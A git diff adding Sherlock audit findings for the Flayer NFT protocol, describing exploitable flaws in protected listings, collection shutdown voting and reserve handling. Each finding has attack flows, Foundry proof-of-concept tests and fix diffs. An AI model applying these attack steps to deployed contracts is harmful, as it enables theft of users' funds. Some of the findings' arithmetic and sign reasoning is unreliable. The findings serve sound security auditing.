+ _listings[0] = IProtectedListings.CreateListing({
+ collection: address(erc721a),
+ tokenIds: _tokenIdToArray(888),
+ listing: IProtectedListings.ProtectedListing({
+ owner: payable(alice),
+ tokenTaken: 0.2 ether,
+ checkpoint: 0
+ })
+ });
+
+ vm.startPrank(alice);
+ erc721a.approve(address(protectedListings), 888);
+ collectionToken.approve(address(protectedListings), type(uint256).max);
+
+ // Alice creates a protected listing
+ protectedListings.createListings(_listings);
+
+ // Alice unlocks the protected listing
+ protectedListings.unlockProtectedListing(address(erc721a), 888, false);
+ vm.stopPrank();
+
+
+ address bob = makeAddr("Bob");
+ mintCollectionTokens(address(erc721a), bob, 1, 1);
+
+ // Bob redeems the item
+ vm.startPrank(bob);
+ collectionToken.approve(address(locker), type(uint256).max);
+ locker.redeem(address(erc721a), _tokenIdToArray(888));
+ vm.stopPrank();
+
+ // Bob owns the item now
+ assertEq(erc721a.ownerOf(888), bob);
+ }
+```
+
+## Impact
+
+User's unlocked asset can be withdrawn by anyone else.
+
+## Code Snippet
+
+https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/ProtectedListings.sol#L314
+
+## Tool used
+
+Manual Review
+
+## Recommendation
+
+If user choose to withdraw later, do not delete the listing object.
+
+[ProtectedListings.sol#L313-L322](https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/ProtectedListings.sol#L313-L322):
+```diff
+- // Delete the listing objects
+- delete _protectedListings[_collection][_tokenId];
+
+ // Transfer the listing ERC721 back to the user
+ if (_withdraw) {
++ // Delete the listing objects
++ delete _protectedListings[_collection][_tokenId];
+ locker.withdrawToken(_collection, _tokenId, msg.sender);
+ emit ListingAssetWithdraw(_collection, _tokenId);
+ } else {
+ canWithdrawAsset[_collection][_tokenId] = msg.sender;
+ }
+```
+
+Delete the listing object when user actually withdraws.
+
+[ProtectedListings.sol#L341-L352](https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/ProtectedListings.sol#L341-L352):
+```diff
+ function withdrawProtectedListing(address _collection, uint _tokenId) public lockerNotPaused {
+ // Ensure that the asset has been marked as withdrawable
+ address _owner = canWithdrawAsset[_collection][_tokenId];
+ if (_owner != msg.sender) revert CallerIsNotOwner(_owner);
+
++ // Delete the listing objects
++ delete _protectedListings[_collection][_tokenId];
+
+ // Mark the asset as withdrawn
+ delete canWithdrawAsset[_collection][_tokenId];
+
+ // Transfer the asset to the user
+ locker.withdrawToken(_collection, _tokenId, msg.sender);
+ emit ListingAssetWithdraw(_collection, _tokenId);
+ }
+```
\ No newline at end of file
diff --git a/001/394.md b/001/394.md
new file mode 100644
index 0000000..9e21926
--- /dev/null
+++ b/001/394.md
@@ -0,0 +1,80 @@
+Fancy Emerald Lark
+
+High
+
+# Users can get away without paying the tax and reducing their token taken value close to zero.
+
+## Summary
+
+Impact: loss of yield to LPs by users adjusting their protected listing's token taken state.
+Root cause: lack of tax charging before modifying token taken.
+A simple fix is to charge the tax before updating and then update the token taken and also update the chekcpoint index for the user.
+
+## Vulnerability Detail
+
+Issue flow :
+1. User lists BAYC 200 as protected and the token taken is 0.5 ether.
+2. after 10 days, the unlock price becomes 0.55 ether (10% tax for 10 days), so 0.05 ether tax is incurred.
+3. Now user calls `adjustPosition` with +0.45 ether as `_amount` parameter.
+4. Since the `debt`= 0.95 - 0.55(unlock price) = 0.40 ether, inside the if block on line 378 will pass, 0.40 + 0.45 is < 0.95
+5. On line 392, the token taken is reduced from 0.5 to 0.05 by pulling 0.45 ether of tokens from user.
+
+The issue here is, the reduction in token taken is done without charging the tax for the past 10 days for the 0.5 ether taken. The tax was 0.05 ether and the user got away without paying it. So loss of yeild to LPS in uniV4 pool.
+
+Since the updated token taken now is 0.05 ether, the tax it will incur when he unlocks it will be 10% of 0.05, which is 0.005 ether and he pays that tax + 0.05 taken in the unlock listing call. So, the tax of 0.5 - 0.005 = 0.0045 ether is saved. Around 90% saved.
+
+
+https://github.com/sherlock-audit/2024-08-flayer/blob/0ec252cf9ef0f3470191dcf8318f6835f5ef688c/flayer/src/contracts/ProtectedListings.sol#L366-L399
+
+```solidity
+ProtectedListings.sol
+
+353: function adjustPosition(address _collection, uint _tokenId, int _amount) public lockerNotPaused {
+ ---- SNIP ----
+363: // Get the current debt of the position
+364: >>> int debt = getProtectedListingHealth(_collection, _tokenId);
+ ---- SNIP ----
+373:
+374: // Check if we are decreasing debt
+375: if (_amount < 0) {
+376: // The user should not be fully repaying the debt in this way. For this scenario,
+377: // the owner would instead use the `unlockProtectedListing` function.
+378: >>> if (debt + int(absAmount) >= int(MAX_PROTECTED_TOKEN_AMOUNT)) revert IncorrectFunctionUse();
+379:
+380: // Take tokens from the caller
+381: collectionToken.transferFrom(
+382: msg.sender,
+383: address(this),
+384: absAmount * 10 ** collectionToken.denomination()
+385: );
+386:
+387: // Update the struct to reflect the new tokenTaken, protecting from overflow
+392: >>> _protectedListings[_collection][_tokenId].tokenTaken -= uint96(absAmount);
+393: }
+394: // Otherwise, the user is increasing their debt to take more token
+395: else {
+ ---- SNIP ----
+413: }
+414:
+415: emit ListingDebtAdjusted(_collection, _tokenId, _amount);
+416: }
+
+```
+
+
+## Impact
+Users can save tax on their protected listing for over > 90% of tax for their original token-taken amounts. This is a loss to LPs. And the likelihood is also always. Breaking the core contract's finality of tax charging.
+
+## Code Snippet
+https://github.com/sherlock-audit/2024-08-flayer/blob/0ec252cf9ef0f3470191dcf8318f6835f5ef688c/flayer/src/contracts/ProtectedListings.sol#L366-L399
+
+## Tool used
+
+Manual Review
+
+## Recommendation
+https://github.com/sherlock-audit/2024-08-flayer/blob/0ec252cf9ef0f3470191dcf8318f6835f5ef688c/flayer/src/contracts/ProtectedListings.sol#L366-L399
+
+1. update the checkpoint and assign the latest checkpoint index to the user's listing struct
+2. collect the tax for the previous token taken and deposit as fees to uniswap implementation
+3. Then do as it is, reducing the token taken state.
diff --git a/001/397.md b/001/397.md
new file mode 100644
index 0000000..edcad5d
--- /dev/null
+++ b/001/397.md
@@ -0,0 +1,106 @@
+Fancy Emerald Lark
+
+Medium
+
+# Users can fully repay their token taken amount by calling adjust listing, instead of calling unlock listing.
+
+## Summary
+Impact: Breaking the core invariant of the listing contract.
+Root cause: insufficient validation. Just check if the token taken should be > 0 before the end of the adjust listing function.
+
+## Vulnerability Detail
+
+`The user should not be fully repaying the debt in this way. For this scenario, the owner would instead use the unlockProtectedListing function`
+
+Line 379 is an invariant saying that the user should never be able to completely repay the token taken. Bu the current validation on line 379 is not sufficient, a user can completely repay his token taken.
+
+Issue flow :
+1. User lists BAYC 200 as protected and token taken is 0.5 ether.
+2. after 10 days, the unlock price becomes 0.55 ether (10% tax for 10 days), so 0.05 ether tax is incurred.
+3. Now user calls `adjustPosition` with +0.5 ether as `_amount` parameter.
+4. Since the `debt`= 0.95 - 0.55(unlock price) = 0.40 ether, inside the if block on line 378 will pass, 0.40 + 0.5 is < 0.95
+5. On line 392, the token taken is reduced from 0.5 to 0 ( 0.5 - 0.5) by pulling 0.5 ether of tokens from user.
+
+Then the user can call unlock protected listing, where his health with 0.95 ether and the `_principle` will be 0 because the token taken is 0. So, he can unlock his token for free without any token taken payment and get his NFT back.
+
+https://github.com/sherlock-audit/2024-08-flayer/blob/0ec252cf9ef0f3470191dcf8318f6835f5ef688c/flayer/src/contracts/ProtectedListings.sol#L389-L399
+
+```solidity
+ProtectedListings.sol
+
+353: function adjustPosition(address _collection, uint _tokenId, int _amount) public lockerNotPaused {
+ ---- SNIP ----
+364: int debt = getProtectedListingHealth(_collection, _tokenId);
+367:
+369: uint absAmount = uint(_amount < 0 ? -_amount : _amount);
+370:
+372: ICollectionToken collectionToken = locker.collectionToken(_collection);
+373:
+375: if (_amount < 0) {
+377: // The user should not be fully repaying the debt in this way. For this scenario,
+378: // the owner would instead use the `unlockProtectedListing` function.
+379: >>> if (debt + int(absAmount) >= int(MAX_PROTECTED_TOKEN_AMOUNT)) revert IncorrectFunctionUse();
+380:
+382: collectionToken.transferFrom(
+383: msg.sender,
+384: address(this),
+385: absAmount * 10 ** collectionToken.denomination()
+386: );
+387:
+393: _protectedListings[_collection][_tokenId].tokenTaken -= uint96(absAmount);
+394: }
+395: // Otherwise, the user is increasing their debt to take more token
+396: else {
+397: ---- SNIP ----
+414: }
+415:
+416: emit ListingDebtAdjusted(_collection, _tokenId, _amount);
+417: }
+
+```
+
+
+## Impact
+Users should not be able to repay their whole token taken amount on an adjust listing call. But they can do it, breaking the invariant.
+
+## Code Snippet
+https://github.com/sherlock-audit/2024-08-flayer/blob/0ec252cf9ef0f3470191dcf8318f6835f5ef688c/flayer/src/contracts/ProtectedListings.sol#L389-L399
+
+## Tool used
+
+Manual Review
+
+## Recommendation
+
+https://github.com/sherlock-audit/2024-08-flayer/blob/0ec252cf9ef0f3470191dcf8318f6835f5ef688c/flayer/src/contracts/ProtectedListings.sol#L389-L399
+
+```diff
+ function adjustPosition(address _collection, uint _tokenId, int _amount) public lockerNotPaused {
+ ---- SNIP ----
+
+ int debt = getProtectedListingHealth(_collection, _tokenId);
+ uint absAmount = uint(_amount < 0 ? -_amount : _amount);
+
+ ---- SNIP ----
+
+ if (_amount < 0) {
+ // The user should not be fully repaying the debt in this way. For this scenario,
+ // the owner would instead use the `unlockProtectedListing` function.
+ if (debt + int(absAmount) >= int(MAX_PROTECTED_TOKEN_AMOUNT)) revert IncorrectFunctionUse();
+
+ collectionToken.transferFrom(
+ msg.sender,
+ address(this),
+ absAmount * 10 ** collectionToken.denomination()
+ );
+
+ // Update the struct to reflect the new tokenTaken, protecting from overflow
+ _protectedListings[_collection][_tokenId].tokenTaken -= uint96(absAmount);
++ if (_protectedListings[_collection][_tokenId].tokenTaken == 0) revert();
+ }
+ else {
+ ---- SNIP ----
+ }
+ }
+
+```
\ No newline at end of file
diff --git a/001/404.md b/001/404.md
new file mode 100644
index 0000000..702cd56
--- /dev/null
+++ b/001/404.md
@@ -0,0 +1,103 @@
+Fancy Emerald Lark
+
+High
+
+# Protected listers can take more tokens than `MAX_PROTECTED_TOKEN_AMOUNT`
+
+## Summary
+**Impact**: Loss of funds. The user can take more tokens than the 0.95 ether limit by adjusting the listing after creation. And other users cannot unlock becasue when burning the (1 ether - token taken of theirs), it will revert because those tokens are taken by this adjusting user.
+**Likelihood**: always
+**Fix** : just check if the total token taken is < 0.95 ether.
+
+## Vulnerability Detail
+
+Issue flow :
+1. User lists BAYC 200 as protected and token taken is 0.8 ether.
+2. after 10 days, the unlock price becomes 0.9 ether (11% tax for 10 days), so 0.1 ether tax is incurred.
+3. Now user calls `adjustPosition` with -0.5 ether as `_amount` parameter.
+4. Since the `debt`= 0.95 - 0.9(unlock price) = 0.05 ether, the line 401 inside the else block will pass (amount > debt) = -0.5 amount is not > +0.05 debt.
+5. On line 413, the token taken is increased from 0.8 to 1.3 ( 0.8 + 0.5) by transferring 0.5 ether of tokens to user on line 413.
+
+https://github.com/sherlock-audit/2024-08-flayer/blob/0ec252cf9ef0f3470191dcf8318f6835f5ef688c/flayer/src/contracts/ProtectedListings.sol#L404-L413
+
+```solidity
+ProtectedListings.sol
+
+353: function adjustPosition(address _collection, uint _tokenId, int _amount) public lockerNotPaused {
+ ---- SNIP ----
+363: // Get the current debt of the position
+364: int debt = getProtectedListingHealth(_collection, _tokenId);
+367:
+369: uint absAmount = uint(_amount < 0 ? -_amount : _amount);
+370:
+372: ICollectionToken collectionToken = locker.collectionToken(_collection);
+375: if (_amount < 0) {
+ ---- SNIP ----
+
+394: }
+395: // Otherwise, the user is increasing their debt to take more token
+396: else {
+397: // Ensure that the user is not claiming more than the remaining collateral
+401: >>> if (_amount > debt) revert InsufficientCollateral();
+402:
+403: // Release the token to the caller
+404: collectionToken.transfer(
+405: msg.sender,
+406: absAmount * 10 ** collectionToken.denomination()
+407: );
+408:
+409: // Update the struct to reflect the new tokenTaken, protecting from overflow
+413: >>> _protectedListings[_collection][_tokenId].tokenTaken += uint96(absAmount);
+414: }
+417: }
+
+```
+
+
+## Impact
+Impacts :
+1. Looting the collection tokens from the contract
+2. Token taken can be breached to more than 0.95 ether. In these cases, some nfts that cannot even be listed at 120 multipliers (1.2 ether) can get instant liquidity of 1.5 ether worth tokens by create + adjust the listing
+3. Since more than 0.95 ether is taken, those tokens should come from the contract and not freshly minsted, those tokens are minted when creating the listing (1 ether - token taken). These amounts are high when there are multiple listings for the same collection.
+
+
+## Code Snippet
+https://github.com/sherlock-audit/2024-08-flayer/blob/0ec252cf9ef0f3470191dcf8318f6835f5ef688c/flayer/src/contracts/ProtectedListings.sol#L404-L413
+
+## Tool used
+
+Manual Review
+
+## Recommendation
+
+https://github.com/sherlock-audit/2024-08-flayer/blob/0ec252cf9ef0f3470191dcf8318f6835f5ef688c/flayer/src/contracts/ProtectedListings.sol#L404-L413
+
+```diff
+ function adjustPosition(address _collection, uint _tokenId, int _amount) public lockerNotPaused {
+ ---- SNIP ----
+
+ uint absAmount = uint(_amount < 0 ? -_amount : _amount);
+
+ ICollectionToken collectionToken = locker.collectionToken(_collection);
+
+ if (_amount < 0) {
+ ---- SNIP ----
+
+ }
+ else {
+ // Ensure that the user is not claiming more than the remaining collateral
+ if (_amount > debt) revert InsufficientCollateral();
+
+ // Release the token to the caller
+ collectionToken.transfer(
+ msg.sender,
+ absAmount * 10 ** collectionToken.denomination()
+ );
+
+ // Update the struct to reflect the new tokenTaken, protecting from overflow
+ _protectedListings[_collection][_tokenId].tokenTaken += uint96(absAmount);
++ if (_protectedListings[_collection][_tokenId].tokenTaken > MAX_PROTECTED_TOKEN_AMOUNT ) revert();
+ }
+
+ }
+```
diff --git a/001/408.md b/001/408.md
new file mode 100644
index 0000000..ef3da57
--- /dev/null
+++ b/001/408.md
@@ -0,0 +1,41 @@
+Shiny Mint Lion
+
+High
+
+# CollectionShutdown.start quorumVotes may be lower than the actual value
+
+
+
+## Summary
+
+CollectionShutdown.start `quorumVotes` lower than the actual value, allowing the vote to pass earlier
+
+## Vulnerability Detail
+
+CollectionShutdown.start function, `quorumVotes` is based on `collectionToken.totalSupply` calculated:
+
+```solidity
+ function start(address _collection) public whenNotPaused {
+ .....
+ params.collectionToken = locker.collectionToken(_collection);
+ uint totalSupply = params.collectionToken.totalSupply();
+ .....
+ params.quorumVotes = uint88(totalSupply * SHUTDOWN_QUORUM_PERCENT / ONE_HUNDRED_PERCENT);
+ .....
+ }
+```
+
+But the problem is that `totalSupply` can still be increased after start, and the increased tokens can also be used for voting, so `quorumVotes` will be actually smaller. Attackers can use this to manipulate voting.
+
+## Impact
+Let the vote pass early, attackers can manipulate the vote.
+
+## Code Snippet
+https://github.com/sherlock-audit/2024-08-flayer/blob/0ec252cf9ef0f3470191dcf8318f6835f5ef688c/flayer/src/contracts/utils/CollectionShutdown.sol#L135-L157
+
+## Tool used
+
+Manual Review
+
+## Recommendation
+Add snapshots or use openzeppelin's voting library
\ No newline at end of file
diff --git a/001/409.md b/001/409.md
new file mode 100644
index 0000000..18d0203
--- /dev/null
+++ b/001/409.md
@@ -0,0 +1,92 @@
+Shiny Mint Lion
+
+High
+
+# An attacker can block the execution of CollectionShutdown.execute
+
+
+
+
+## Summary
+An attacker can block the execution of CollectionShutdown.execute, and cause `Shutdown` to fail.
+
+## Vulnerability Detail
+The `execute` function checks if the collection has a `list` in progress and then executes shutdown:
+
+```solidity
+ function execute(address _collection, uint[] calldata _tokenIds) public onlyOwner whenNotPaused {
+ // Ensure that the vote count has reached quorum
+ CollectionShutdownParams storage params = _collectionParams[_collection];
+ if (!params.canExecute) revert ShutdownNotReachedQuorum();
+
+ // Ensure we have specified token IDs
+ uint _tokenIdsLength = _tokenIds.length;
+ if (_tokenIdsLength == 0) revert NoNFTsSupplied();
+
+ // Check that no listings currently exist
+ if (_hasListings(_collection)) revert ListingsExist();
+ .....
+ }
+
+ function _hasListings(address _collection) internal view returns (bool) {
+ IListings listings = locker.listings();
+ if (address(listings) != address(0)) {
+ if (listings.listingCount(_collection) != 0) {
+ return true;
+ }
+
+ // Check that no protected listings currently exist
+ IProtectedListings protectedListings = listings.protectedListings();
+ if (address(protectedListings) != address(0)) {
+ if (protectedListings.listingCount(_collection) != 0) {
+ return true;
+ }
+ }
+ }
+
+ return false;
+ }
+
+```
+
+The problem is that an attacker can create a list before execute is executed, so execute can never be executed.
+
+When execute can be executed (params.canExecute = ture), the user's vote has already been cast, and the vote passed.
+
+When a vote is taken, the `collectionToken` is transferred to the current contract, so if `Shutdown` cannot be executed, the `collectionToken` is locked in the current `Shutdown` contract.
+
+```solidity
+ function _vote(address _collection, CollectionShutdownParams memory params) internal returns (CollectionShutdownParams memory) {
+ // Take tokens from the user and hold them in this escrow contract
+ uint userVotes = params.collectionToken.balanceOf(msg.sender);
+ if (userVotes == 0) revert UserHoldsNoTokens();
+ // Pull our tokens in from the user
+@> params.collectionToken.transferFrom(msg.sender, address(this), userVotes);
+ ......
+ return params;
+ }
+```
+
+At this point, the user also cannot `reclaimVote`, because `params.canExecute` is ture:
+
+```solidity
+ function reclaimVote(address _collection) public whenNotPaused {
+ // If the quorum has passed, then we can no longer reclaim as we are pending
+ // an execution.
+ CollectionShutdownParams storage params = _collectionParams[_collection];
+@> if (params.canExecute) revert ShutdownQuorumHasPassed();
+ .....
+ }
+```
+
+## Impact
+CollectionShutdown.execute cannot be executed. As a result, Shutdown fails and users cannot claim tokens.
+
+## Code Snippet
+https://github.com/sherlock-audit/2024-08-flayer/blob/0ec252cf9ef0f3470191dcf8318f6835f5ef688c/flayer/src/contracts/utils/CollectionShutdown.sol#L231-L241
+
+## Tool used
+Manual Review
+
+## Recommendation
+After Shutdown, users are not allowed to create lists.
\ No newline at end of file
diff --git a/001/410.md b/001/410.md
new file mode 100644
index 0000000..b210276
--- /dev/null
+++ b/001/410.md
@@ -0,0 +1,106 @@
+Shiny Mint Lion
+
+High
+
+# Users with more than 50% of the voting rights can steal other users' tokens.
+
+
+
+## Summary
+1. Users with more than 50% of the voting rights can steal other users' tokens.
+2. Anyone can get more than 50% of the voting power after the start of shutdown (start is called).
+
+## Vulnerability Detail
+
+`claim` calculates the amount as follows:
+ uint amount = params.availableClaim * claimableVotes / (params.quorumVotes * ONE_HUNDRED_PERCENT / SHUTDOWN_QUORUM_PERCENT);
+
+`params.quorumVotes` is set at start:
+
+```solidity
+ function start(address _collection) public whenNotPaused {
+ .....
+ uint totalSupply = params.collectionToken.totalSupply();
+ .....
+ params.quorumVotes = uint88(totalSupply * SHUTDOWN_QUORUM_PERCENT / ONE_HUNDRED_PERCENT);
+ ....
+ }
+```
+
+But the problem is that `params.quorumVotes` can still be changed after `execute`:
+
+Calling `start` again` params.quorumVotes` will be recalculated, but params.shutdownVotes = 0,
+If the attacker has more than 50% of the voting power, and all the voting is initiated by the attacker, the attacker can `reclaimVote` after the vote is closed, making params.shutdownVotes = 0
+
+`reclaimVote` will reduce `params.shutdownVotes`:
+```solidity
+ function reclaimVote(address _collection) public whenNotPaused {
+ // If the quorum has passed, then we can no longer reclaim as we are pending
+ // an execution.
+ CollectionShutdownParams storage params = _collectionParams[_collection];
+ if (params.canExecute) revert ShutdownQuorumHasPassed();
+
+ // Get the amount of votes that the user has cast for this collection
+ uint userVotes = shutdownVoters[_collection][msg.sender];
+
+ // If the user has not cast a vote, then we can revert early
+ if (userVotes == 0) revert NoVotesPlacedYet();
+
+ // We delete the votes that the user has attributed to the collection
+@> params.shutdownVotes -= uint96(userVotes);
+ delete shutdownVoters[_collection][msg.sender];
+
+ // We can now return their tokens
+ params.collectionToken.transfer(msg.sender, userVotes);
+
+ // Notify our stalkers that a vote has been reclaimed
+ emit CollectionShutdownVoteReclaim(_collection, msg.sender, userVotes);
+ }
+```
+
+A reduction in `quorumVotes` will result in claimer receiving more ETH, based on the formula above:
+
+```solidity
+ uint amount = params.availableClaim * claimableVotes / (params.quorumVotes * ONE_HUNDRED_PERCENT / SHUTDOWN_QUORUM_PERCENT);
+ // uint amount = params.availableClaim * claimableVotes / (params.quorumVotes * 2); //ONE_HUNDRED_PERCENT / SHUTDOWN_QUORUM_PERCENT = 2
+ // uint amount = params.availableClaim * claimableVotes / totalSupply;
+```
+
+The end of the execute function makes `params.canExecute = false`, so `reclaimVote` can still `execute` after execute.
+
+```solidity
+ function execute(address _collection, uint[] calldata _tokenIds) public onlyOwner whenNotPaused {
+ ......
+ // Prevent the collection from being executed again
+ params.canExecute = false;
+ emit CollectionShutdownExecuted(_collection, pool, _tokenIds);
+ }
+```
+
+The attack process is:
+1. The attacker has more than 50% of `collectionTokens`
+2. The attacker uses 50% of the tokens to initiate a vote, and the vote passes.
+3. The administrator executes execute, and the NFT is sold out in `sudoswap`.
+4. The attacker calls `reclaimVote` set `params.shutdownVotes` = 0
+5. The attacker calls `voteAndClaim` `collectionToken.totalSupply` halved.
+6. The attacker calls start to reset `quorumVotes`, and `quorumVotes` become half of the original number.
+7. The calculated amount of `claim/voteAndClaim `is more than the actual amount.
+
+Another problem is that the attacker can mint `collectionTokens` even after the `shutdown start`, so it is easy for the attacker to gain more than 50% of the voting power.
+
+## Impact
+Attackers steal other users' tokens
+
+## Code Snippet
+https://github.com/sherlock-audit/2024-08-flayer/blob/0ec252cf9ef0f3470191dcf8318f6835f5ef688c/flayer/src/contracts/utils/CollectionShutdown.sol#L310-L311
+
+https://github.com/sherlock-audit/2024-08-flayer/blob/0ec252cf9ef0f3470191dcf8318f6835f5ef688c/flayer/src/contracts/utils/CollectionShutdown.sol#L368-L369
+
+https://github.com/sherlock-audit/2024-08-flayer/blob/0ec252cf9ef0f3470191dcf8318f6835f5ef688c/flayer/src/contracts/utils/CollectionShutdown.sol#L135-L157
+
+## Tool used
+
+Manual Review
+
+## Recommendation
+Set a different state. After the vote is over, stop calling `start` again
\ No newline at end of file
diff --git a/001/411.md b/001/411.md
new file mode 100644
index 0000000..8274e8b
--- /dev/null
+++ b/001/411.md
@@ -0,0 +1,87 @@
+Shiny Mint Lion
+
+High
+
+# In CollectionShutdown, an attacker can manipulate voting
+
+
+
+## Summary
+The attackers manipulated the vote to advance it.
+
+## Vulnerability Detail
+
+In `CollectionShutdown`, use the `collectionToken` to vote:
+
+```solidity
+ function _vote(address _collection, CollectionShutdownParams memory params) internal returns (CollectionShutdownParams memory) {
+ // Take tokens from the user and hold them in this escrow contract
+ uint userVotes = params.collectionToken.balanceOf(msg.sender);
+ if (userVotes == 0) revert UserHoldsNoTokens();
+
+ // Pull our tokens in from the user
+@> params.collectionToken.transferFrom(msg.sender, address(this), userVotes);
+
+ // Register the amount of votes sent as a whole, and store them against the user
+@> params.shutdownVotes += uint96(userVotes);
+
+ // Register the amount of votes for the collection against the user
+ unchecked { shutdownVoters[_collection][msg.sender] += userVotes; }
+
+ emit CollectionShutdownVote(_collection, msg.sender, userVotes);
+
+ // If we can execute, then we need to fire another event
+ if (!params.canExecute && params.shutdownVotes >= params.quorumVotes) {
+ params.canExecute = true;
+ emit CollectionShutdownQuorumReached(_collection);
+ }
+
+ return params;
+ }
+```
+
+
+The problem is, once you start voting, you can still mint collectionToken:
+
+```solidity
+ function deposit(address _collection, uint[] calldata _tokenIds, address _recipient) public
+ nonReentrant
+ whenNotPaused
+ collectionExists(_collection)
+ {
+ uint tokenIdsLength = _tokenIds.length;
+ if (tokenIdsLength == 0) revert NoTokenIds();
+
+ // Define our collection token outside the loop
+ IERC721 collection = IERC721(_collection);
+
+ // Take the ERC721 tokens from the caller
+ for (uint i; i < tokenIdsLength; ++i) {
+ // Transfer the collection token from the caller to the locker
+ collection.transferFrom(msg.sender, address(this), _tokenIds[i]);
+ }
+
+ // Mint the tokens to the recipient
+ ICollectionToken token = _collectionToken[_collection];
+@> token.mint(_recipient, tokenIdsLength * 1 ether * 10 ** token.denomination());
+
+ emit TokenDeposit(_collection, _tokenIds, msg.sender, _recipient);
+ }
+```
+
+So malicious users can manipulate voting,
+Assume that for a certain collection, most token holders do not want to enter the `shutdown state`. After voting start, no voting is conducted, so the `shutdown state` will not be entered.
+But if there is a malicious user, at this time mint a large number of tokens, and then vote, will let the vote pass into the `shutdown state`, which is not desired by other users.
+
+## Impact
+Voting manipulation
+
+## Code Snippet
+https://github.com/sherlock-audit/2024-08-flayer/blob/0ec252cf9ef0f3470191dcf8318f6835f5ef688c/flayer/src/contracts/utils/CollectionShutdown.sol#L175-L181
+
+## Tool used
+
+Manual Review
+
+## Recommendation
+After voting begins, disable mint tokens, or use snapshots.
\ No newline at end of file
diff --git a/001/412.md b/001/412.md
new file mode 100644
index 0000000..ec7160e
--- /dev/null
+++ b/001/412.md
@@ -0,0 +1,71 @@
+Shiny Mint Lion
+
+Medium
+
+# The shutdown can still be canceled after execute, causing users to fail to claim tokens.
+
+
+## Summary
+The shutdown can still be canceled after execute, causing users to fail to claim tokens.
+
+## Vulnerability Detail
+
+CollectionShutdown, if `params.canExecute` is true and collectionToken.totalSupply > MAX_SHUTDOWN_TOKENS_AMOUNT,
+It can be cancelled, and anyone can call:
+
+```solidity
+ function cancel(address _collection) public whenNotPaused {
+ // Ensure that the vote count has reached quorum
+ CollectionShutdownParams memory params = _collectionParams[_collection];
+@> if (!params.canExecute) revert ShutdownNotReachedQuorum();
+
+ // Check if the total supply has surpassed an amount of the initial required
+ // total supply. This would indicate that a collection has grown since the
+ // initial shutdown was triggered and could result in an unsuspected liquidation.
+@> if (params.collectionToken.totalSupply() <= MAX_SHUTDOWN_TOKENS * 10 ** locker.collectionToken(_collection).denomination()) {
+ revert InsufficientTotalSupplyToCancel();
+ }
+
+ // Remove our execution flag
+ delete _collectionParams[_collection];
+ emit CollectionShutdownCancelled(_collection);
+ }
+```
+
+The problem is that `cancel` may still be executed after `execute` is executed.
+
+Although the execute function sets `params.canExecute` to false, which does not satisfy the first condition for cancel execution,
+
+However, after the `execute` function, `vote` can still be called, and if an attacker(or honest user) calls `vote`, `params.canExecute` can be reset to true.
+
+This time, if collectionToken `totalSupply > MAX_SHUTDOWN_TOKENS_AMOUNT`, cancel can be executed.
+
+The problem is that `execute` has already been executed and all the NFTS have been sent to sudoswap.
+
+The claim function cannot be executed because `_collectionParams[_collection]` has been deleted, the token is then locked in the `CollectionShutdown` contract.
+
+```solidity
+ function claim(address _collection, address payable _claimant) public nonReentrant whenNotPaused {
+ // 没有验证msg.sender
+ // Ensure our user has tokens to claim
+ uint claimableVotes = shutdownVoters[_collection][_claimant];
+ if (claimableVotes == 0) revert NoTokensAvailableToClaim();
+
+ // Ensure that we have moved token IDs to the pool
+@> CollectionShutdownParams memory params = _collectionParams[_collection];
+@> if (params.sweeperPool == address(0)) revert ShutdownNotExecuted();
+ .....
+ }
+```
+## Impact
+The user token is locked.
+
+## Code Snippet
+https://github.com/sherlock-audit/2024-08-flayer/blob/0ec252cf9ef0f3470191dcf8318f6835f5ef688c/flayer/src/contracts/utils/CollectionShutdown.sol#L390-L405
+
+## Tool used
+
+Manual Review
+
+## Recommendation
+Set a clear state to prohibit calling claim after execute.
\ No newline at end of file
diff --git a/001/417.md b/001/417.md
new file mode 100644
index 0000000..ef97d21
--- /dev/null
+++ b/001/417.md
@@ -0,0 +1,151 @@
+Crazy Chiffon Spider
+
+High
+
+# Malicious user can drain the Flayer pool, because reserve() does not delete old listing.
+
+## Summary
+The `reserve()` operation currently does not delete the old listing, so this opens a backdoor, which allows draining the CT tokens from the pool by receiving the refund for the fees twice.
+
+## Vulnerability Detail
+
+Here is a quick overview of how this is possible:
+In the Flayer pool, listing tax is deposited when the listing is created; it's subtracted from the CT tokens that the user is supposed to receive [code snippet](https://github.com/sherlock-audit/2024-08-flayer/blob/0ec252cf9ef0f3470191dcf8318f6835f5ef688c/flayer/src/contracts/Listings.sol#L149-L151).
+
+And then, if a "closing listing" operation occurs, which can happen via `fillListings`, `cancelListings`, `relist()`, and `reserve()`, we then distribute the fees, some part of it to the UniswapV4 pool for the Liquidity providers, and the not used part of the fees we give as a refund to the owner of the listing. This "not used" part is calculated based on the time that has passed.
+Example [code](https://github.com/sherlock-audit/2024-08-flayer/blob/0ec252cf9ef0f3470191dcf8318f6835f5ef688c/flayer/src/contracts/Listings.sol#L573-L577) in `fillListings()`.
+
+Here is the flow for the attack:
+- The owner lists their NFT and pays tax. So they receive `1CT `- `0.02CT `(listing fees) = +`0.98CT`.
+- Uses another address and call to reserve it (as an owner cannot reserve it themselves ) The Listings contract sends a full refund to the owner since no time has passed. -> +`0.02CT`.
+- Then the reserver withdraws it from the ProtectedListings contract using the unlock functionality, and pays -`1CT`.
+- Now we have gained nothing, but have not lost anything; however, the listing is still in the _listings[] array, as the [reserve()](https://github.com/sherlock-audit/2024-08-flayer/blob/0ec252cf9ef0f3470191dcf8318f6835f5ef688c/flayer/src/contracts/Listings.sol#L690-L759) has not deleted it.
+- The malicious actor now deposits it into Locker.sol and gets +`1CT`.
+- Then he can fill the deposit, since the _resolveListingTax() in fillListings() ([see here](https://github.com/sherlock-audit/2024-08-flayer/blob/0ec252cf9ef0f3470191dcf8318f6835f5ef688c/flayer/src/contracts/Listings.sol#L504-L505)) will be called with the same tokenId but the owner is not address(0), since we have not deleted the listing via reserve(), even though we directly deposited it into the `Locker.sol`, we will still skip this check and pay fees:
+```solidity
+ function _resolveListingTax(Listing memory _listing, address _collection, bool _action) private returns (uint fees_, uint refund_) {
+ // If we have been passed a Floor item as the listing, then no tax should be handled
+@>> if (_listing.owner == address(0)) {
+ return (fees_, refund_);
+ }
+```
+-> Pay `1CT`, which we received when using deposit() in Locker.sol and refund `0.02CT` again to the owner via escrow functionality.
+### Coded POC
+Add this to Listings.t.sol and run with `forge test --match-test test_DrainContractFromReserveVuln -vvvv`
+```solidity
+ function test_DrainContractFromReserveVuln() public {
+ //===========Setup===========
